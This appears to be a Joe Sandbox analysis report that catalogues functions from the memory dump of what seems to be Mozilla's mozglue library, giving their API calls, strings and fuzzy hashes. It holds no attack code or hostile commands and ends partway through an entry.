Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 1ccd5bc99e22ddbd314640b6b7141c749060ba8fe63e9a1c89b62f9223579826
Instruction ID: 3051c85551ef6d6a882ed8d41df3ee4c118ce8011c60e9cd66c67b219103582e
Opcode Fuzzy Hash: 1ccd5bc99e22ddbd314640b6b7141c749060ba8fe63e9a1c89b62f9223579826
Instruction Fuzzy Hash: B4B32A71E04259CFCB14CFA8C890A9DBBB2FF49304F1982A9D459AB745D730AD86CF91

Function 6CAEFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB5E7B8), ref: 6CAEFF81
LeaveCriticalSection.KERNEL32(6CB5E7B8), ref: 6CAF022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CAF0240
EnterCriticalSection.KERNEL32(6CB5E768), ref: 6CAF025B
LeaveCriticalSection.KERNEL32(6CB5E768), ref: 6CAF027B

Strings

MOZ_CRASH(), xrefs: 6CAF0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAEFE99, 6CAEFEB7, 6CAEFED3, 6CAF0DB8, 6CAF0DD3, 6CAF19B4, 6CAF1A10

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 24e5113b686f5467c09c2a74aac5c9dce45f034f58e18b0ede079f105149f3da
Instruction ID: b588a0ac709f24c0e19a14a660f32190418afc8703d3e5c4b2ac9f44d40b000f
Opcode Fuzzy Hash: 24e5113b686f5467c09c2a74aac5c9dce45f034f58e18b0ede079f105149f3da
Instruction Fuzzy Hash: FDB28D716057418FD714CF29C590726BBE1AF85328F28C66CF9BA8B795D770E882CB81

Function 6CB25600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Time entry, xrefs: 6CB25CB6
data, xrefs: 6CB26131
name, xrefs: 6CB25E79, 6CB25E8F
schema, xrefs: 6CB2606D
ProfileBuffer parse error: %s, xrefs: 6CB25AC8, 6CB25CBB
expected a Count entry, xrefs: 6CB25AC3

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 725b031dd5d6463b206aa04112cab22941fad224acf20597fe89a08d617962b2
Instruction ID: 370c3f0e964b2e3a6d9f307a2b75deb763592722f2c3b243c2cb27dbcdef4064
Opcode Fuzzy Hash: 725b031dd5d6463b206aa04112cab22941fad224acf20597fe89a08d617962b2
Instruction Fuzzy Hash: 97922B71A083818FD724CF28C4907AABBE1FFC9308F54891DE5999B755DB34E849CB92

Function 6CB17E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6CB18280, 6CB183E1
schema, xrefs: 6CB181E3, 6CB18311
name, xrefs: 6CB17ECF, 6CB18335
(pre-xul), xrefs: 6CB17E88

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 4a18b54903ec5633819dfbb42ed4f24dbacf4b933b8772002cffb8d251b582ab
Instruction ID: 2e9ff275ae563c422511c04b6932eed79c17a9807b7b3b77b0d0f0b2904ecee1
Opcode Fuzzy Hash: 4a18b54903ec5633819dfbb42ed4f24dbacf4b933b8772002cffb8d251b582ab
Instruction Fuzzy Hash: B1E16071A043848BC710CF68C84066BFBEAFBD9314F558A2DE895D7790DBB0DD498B92

Function 6CAFD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB5E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD4F2
LeaveCriticalSection.KERNEL32(6CB5E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD50B

Part of subcall function 6CADCFE0: EnterCriticalSection.KERNEL32(6CB5E784), ref: 6CADCFF6
Part of subcall function 6CADCFE0: LeaveCriticalSection.KERNEL32(6CB5E784), ref: 6CADD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD52E
EnterCriticalSection.KERNEL32(6CB5E7DC), ref: 6CAFD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAFD6A6
LeaveCriticalSection.KERNEL32(6CB5E7DC), ref: 6CAFD712
LeaveCriticalSection.KERNEL32(6CB5E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAFD7EA

Strings

<jemalloc>, xrefs: 6CAFD827
: (malloc) Error initializing arena, xrefs: 6CAFD82C

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: eef1126e761afe82cd2f3cdc1c584c17e1510cf087f633f256a4a12042bfa0db
Instruction ID: 2cbf027aff4a9a122d7ccb22bc8963141fabacfb2969340c9c03b60dfc56b429
Opcode Fuzzy Hash: eef1126e761afe82cd2f3cdc1c584c17e1510cf087f633f256a4a12042bfa0db
Instruction Fuzzy Hash: EA91D371E047818FD756CF28C09076EB7E1EB89314F58492EE56ACBB80D734E885CB82

Function 6CAF5E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAF5EDB
memset.VCRUNTIME140(6CB37765,000000E5,55CCCCCC), ref: 6CAF5F27
LeaveCriticalSection.KERNEL32(?), ref: 6CAF5FB2
memset.VCRUNTIME140(6CB37765,000000E5,B5C09015), ref: 6CAF61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CAF7652

Strings

MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAF730D
MOZ_CRASH(), xrefs: 6CAF7BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAF72F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAF72E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAF7BCD, 6CAF7C1F, 6CAF7C34, 6CAF80FD

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 487a5849cd746bc6326fc5143fb520e112b7f90c2db3c541601930a646af8c7f
Instruction ID: 00aa817d710484ac027508d13b4393c06dc629c584fe7794dc47edc2d0abe7c2
Opcode Fuzzy Hash: 487a5849cd746bc6326fc5143fb520e112b7f90c2db3c541601930a646af8c7f
Instruction Fuzzy Hash: 31334A716056018FD308CF29C590615BBE2BF85328F2DC6ADE979CB7A5D771E882CB81

Function 6CB34EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CB34EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB34F2E
moz_xmalloc.MOZGLUE ref: 6CB34F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CB34F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB352E6
Sleep.KERNEL32(00000010), ref: 6CB35481
free.MOZGLUE(?), ref: 6CB35498

Strings

(, xrefs: 6CB35250

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 3854e4b8486f9f9ea7e5f660f2cc0e8cd8e1275af1c51790a85b4e68307d2610
Instruction ID: d6f4327da437fc6a407a4c9025cefa2ae12ed498181c164028eb54bf840e7e79
Opcode Fuzzy Hash: 3854e4b8486f9f9ea7e5f660f2cc0e8cd8e1275af1c51790a85b4e68307d2610
Instruction Fuzzy Hash: 88F10371A18B508FC716DF38C85062BB7F6BFD6284F45872EF84AA7654DB31C8468B81

Function 6CB22C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB22C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB22C61

Part of subcall function 6CAD4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAD4E5A
Part of subcall function 6CAD4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAD4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB22C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB22E2D

Part of subcall function 6CAE81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CAE81DE

Strings

expected a Time entry, xrefs: 6CB22E36
ProfileBuffer parse error: %s, xrefs: 6CB22E3B
(root), xrefs: 6CB2354F

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 9a8d3b2dc3136446502885534dbab3ff24b211533be0f6b1734b09f51ed5e41e
Instruction ID: cc1f22e8813de4c602b730561888aa8a787efc50ba0746e75e2e21d0938e7fc1
Opcode Fuzzy Hash: 9a8d3b2dc3136446502885534dbab3ff24b211533be0f6b1734b09f51ed5e41e
Instruction Fuzzy Hash: D591BF706087C08FC724CF24C4956AFBBE5EF89268F50892DE59A8B750DB38D949CB53

Function 6CB39E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CB39F3D
__aulldiv.LIBCMT ref: 6CB39F77
__aullrem.LIBCMT ref: 6CB39F8C
__aulldiv.LIBCMT ref: 6CB3A023

Strings

-Infinity, xrefs: 6CB39E60, 6CB39E7B
NaN, xrefs: 6CB39EAB

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: c172250ff930f5476a46f80697acd05fa0272a4007d22c9f4b20f81b06937590
Instruction ID: e238c86d914fbb76665cff6723d3ff5fb9c8773fef018520feb2b9cca3d6d150
Opcode Fuzzy Hash: c172250ff930f5476a46f80697acd05fa0272a4007d22c9f4b20f81b06937590
Instruction Fuzzy Hash: FCC1C031E003698BDF14CFE8C85079EB7BAEF89704F245529D409ABB80DB70A949CF91

Function 6CADD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6CADDC7F
0, xrefs: 6CADD852
1, xrefs: 6CADDBDD
@, xrefs: 6CADDAF6
8, xrefs: 6CADDC08
-, xrefs: 6CADD7DD
9, xrefs: 6CADDE7F
, xrefs: 6CADDA88

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f83db76c67a4a8b28b2a950b4ab1f9327c040f545f54e671be3e56024bb81ef0
Instruction ID: 66a579a8e06fe43f9b1e1f370b6179cf729a35037e0ff385c592d60af16c2bd2
Opcode Fuzzy Hash: f83db76c67a4a8b28b2a950b4ab1f9327c040f545f54e671be3e56024bb81ef0
Instruction Fuzzy Hash: 8762BD70A1C3458FD701CE29C49075EBBF2AF86318F1A4A4DE4E54BA91C335A9C5CFA2

Function 6CADBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CADC1CB
__aulldiv.LIBCMT ref: 6CADC24C
__aulldiv.LIBCMT ref: 6CADC348
__aullrem.LIBCMT ref: 6CADC365
__aulldiv.LIBCMT ref: 6CADC37D

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: d5f0b15c3235b0d78a544ea69d751b464ddc8f53be866ed60ebef39950557a0c
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 0E322532B046118FC718DE2CC890A5ABBE6AFC9314F4A866DE895CB3D5D734ED05CB91

Function 6CB4545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB48A4B

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 73c7c3159083e7b7458b2d0fa071a261538accf879c5b6808920953281f62134
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: FCB11772E0425A8FDB24CF68CC807EDB7B6EF85314F1842A9C549DB789D7309989DB90

Function 6CB4542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB4925C

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: b0a5e2d7426b6a964172b7cc5d4514e3b0f92a900cd64f019a38c04953c1a319
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 0CB1E572E0424ACBDB14CF58CC806ADB7B6EF84314F144269C949EB789D730A989DB90

Function 6CB16CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CB16D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB16E1E

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 82306a3c76963a13245ee28a985a7f6f774adf3703406901cdb7a7ffc67797a8
Instruction ID: 0b265bc250909f6a16d4fb5a15f81b5c6b31b0e42bc5d59226405f59cfb910ca
Opcode Fuzzy Hash: 82306a3c76963a13245ee28a985a7f6f774adf3703406901cdb7a7ffc67797a8
Instruction Fuzzy Hash: 0BA17D756183808FCB15CF24C4907AEBBE6FF89308F44495DE88A87B51DB70A949CB92

Function 6CB385F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB38C7C
__aulldiv.LIBCMT ref: 6CB38DD7

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 930a9499b9d9fa8ba45538adb393883e0da3a4e4513247c8d53651e5a506672b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 17327131F001698BDF18CE9DC4A17AEB7B2FB88300F15952BD50AFB790DA355D458B92

Function 6CB15C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CAE4A63,?,?), ref: 6CB15F06

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 37243aff297a13b6630296c00e3f830d3e7a680d174b7d07d2768a091af07cc9
Instruction ID: c285aefe597d8a73dd3e57ffc4985435ff30f298643fa8372b3d0453a67db626
Opcode Fuzzy Hash: 37243aff297a13b6630296c00e3f830d3e7a680d174b7d07d2768a091af07cc9
Instruction Fuzzy Hash: BCC1C075D052998FCB04CF94C5906EEBBB2FF8A318F28415DD8556BF44D732A809CB94

Function 6CB476E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: e1914e2fe6248d5f807700eb30622f872bb63f49a9ad1cb16e411ebc3ec0cc29
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: DE321871E046598FCB14CF98C880AADFBB2FF88308F648169C549B7749D771A986CF90

Function 6CB46E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: ffa59960caafe2f7c384bfd89f9c567d7d0f4fe018e28b04f9e46fe2190fa90a
